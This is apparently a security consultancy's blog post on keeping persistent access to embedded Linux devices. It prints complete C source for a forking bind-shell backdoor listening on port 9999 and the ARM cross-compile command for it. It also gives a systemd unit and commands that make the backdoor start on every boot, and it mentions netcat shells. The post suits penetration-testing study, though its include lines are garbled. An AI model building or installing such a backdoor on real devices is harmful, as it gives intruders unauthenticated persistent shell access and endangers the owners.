So, you may be wondering, what exactly are these embedded devices, and why are they so integral to our daily routines and the broader technological landscape?
In this blog post, we’ll dive deep into the technical realm of gaining persistence on these systems. We will focus on the intricate process of creating custom binaries, which is a critical skill for researchers and developers aiming to execute code on these devices remotely. Whether you're a cybersecurity enthusiast, an embedded systems developer, or a tech-savvy individual with a keen interest in the intersection of software and hardware, this post will guide you through the steps and considerations for establishing control and maintaining persistence on these devices.
If you have ever obtained a shell on an embedded device, you may have noticed that it is a wildly different experience compared to your more familiar flavors of Linux distributions. These devices are likely different than any Linux operating system you have used before.
That is because they commonly run a light-weight version of Linux that only contains core packages needed to function. You may be thinking, “Well, how stripped down are we talking?” In our experience, you are in-luck if the operating system even recognizes the famous "whoami" command.
Figure 1: Running the “whoami” command on an embedded ARM device.
Embedded Linux systems do, however, commonly have BusyBox installed on the system. The BusyBox binary stands as a multifaceted tool streamlining the essence of numerous UNIX utilities into a single, compact executable. BusyBox is a Swiss Army knife for systems where resources are scarce and functionality cannot be compromised. It consolidates over a hundred standard commands and utilities into one lightweight file making it the go-to solution for maintaining the core functionalities of embedded operating systems.
Typically, when running commands on an embedded device, it is just a soft link to the BusyBox binary.
Figure 2: Directory listing of the “/sbin” directory.
BusyBox has several different versions that have been compiled for a variety of architectures, including MIPS and ARM. This comes in handy after obtaining an initial shell on a device as sometimes it may not have BusyBox binary installed or may only have a version with limited commands. This makes it possible to easily download a compatible version online and upload it to the target device to give us more control.
Figure 3: BusyBox binary download page
After uploading a compatible BusyBox binary to the target, one could script a netcat bind shell to initialize on startup.
Figure 4: Executing and retrieving a netcat reverse shell on the target embedded device.
This solution may work in a crunch, but there are more reliable ways to maintain persistent remote access. Additionally, this is not a full TTY shell which is a much more powerful shell type than this dumb netcat shell. A TTY shell is a shell that gives us access to the terminal. In addition to displaying STDOUT, it will also display streams such as STDERR. Some commands produce error messages that are outputted through a stream other than STDOUT. It benefits attackers greatly to have a shell displaying these output streams when remotely executing commands.
This brings us to the main topic of this blog: cross-compiling binaries for embedded devices. Because these devices frequently run on ARM architecture, you cannot just use your standard GCC on Ubuntu to compile your C program. This requires a cross-compiler to compile an ARM compatible binary.
In the above example, we used a fully updated Ubuntu 22.04 virtual machine to cross-compile. Before starting, some packages need to be installed.
The GCC cross-compiler supporting programs can be installed like below:
sudo apt install libc6-armel-cross libc6-dev-armel-cross binutils-arm-linux-gnueabi libncurses5-dev build-essential bison flex libssl-dev bc
Afterward, the ARM cross-compiler needs to be installed like so:
sudo apt install gcc-arm-linux-gnueabi
For the bind shell, we will be using a slightly modified version of this program. In order to make the backdoor more persistent and allow us to connect back multiple times, the following changes are implemented:
#include
#include
#include
#include
#include
#include
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */ int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shelln"; char *args[] = { "/bin/busybox", "bash", (char *) 0 }; struct sockaddr_in server, client; socklen_t len; int x = fork(); if (x == 0) { server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY; serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1); while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } } return 0; }
Cross-compiling the program for the embedded device is as easy as executing the following code snippet:
arm-linux-gnueabi-gcc backdoor.c -static -o backdoor
Because every device is different, it is easiest to utilize the -static flag. This can be used to compile the needed libraries within the binary. While this makes the payload significantly larger, it is much more versatile and less dependent on the environment.
Compiling with the -static flag in GCC (GNU Compiler Collection) instructs the compiler to create a statically linked executable. This has specific implications and advantages in various scenarios including:
After successfully compiling the binary, we upload it to the target device to test the compatibility.
Figure 5: Executing our custom cross-compiled backdoor executable on the target embedded device.
As shown in the above example, there are no errors upon execution. Since this is functioning accurately, we can now connect it to our attacking machine.
Figure 6: Connecting to the bind shell backdoor and listing the current working directory.
In the above example, you can see that everything is working as intended.
Setting up the backdoor binary to run as a service on an embedded device can offer several tactical advantages, particularly in cybersecurity research, penetration testing, or for ensuring remote access for maintenance and monitoring.
One of the primary advantages of this approach is the assurance of persistent access. By establishing the backdoor as a service, it remains operational across system reboots and resets. This is a critical feature for maintaining long-term monitoring or during extensive security assessments. This persistent nature is complemented by the automatic execution characteristic of services which ensures that the backdoor becomes active autonomously upon each startup of the device and eliminating the need for manual intervention after every reboot.
Assuming the target embedded device is utilizing systemd for services, you should be able to setup the backdoor binary to run as a service.
Add the following script to the directory as a file called backdoor.service:
/etc/systemd/system/backdoor.service
[Unit]
Description=Backdoor bind shell
[Service]
Type=forking
ExecStart=/root/backdoor
WorkingDirectory=/root
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
Afterwards, run the following commands to enable and start the service:
systemctl enable backdoor
systemctl start backdoor
You can check the status of your service by either running netstat to see if port 9999 is being exposed, or systemctl status backdoor to see if the service is active.
Is your team interested in applying backdoor techniques on embedded devices? Contact us today. We're eager to understand more about your ecosystem and explore how we can enhance its security.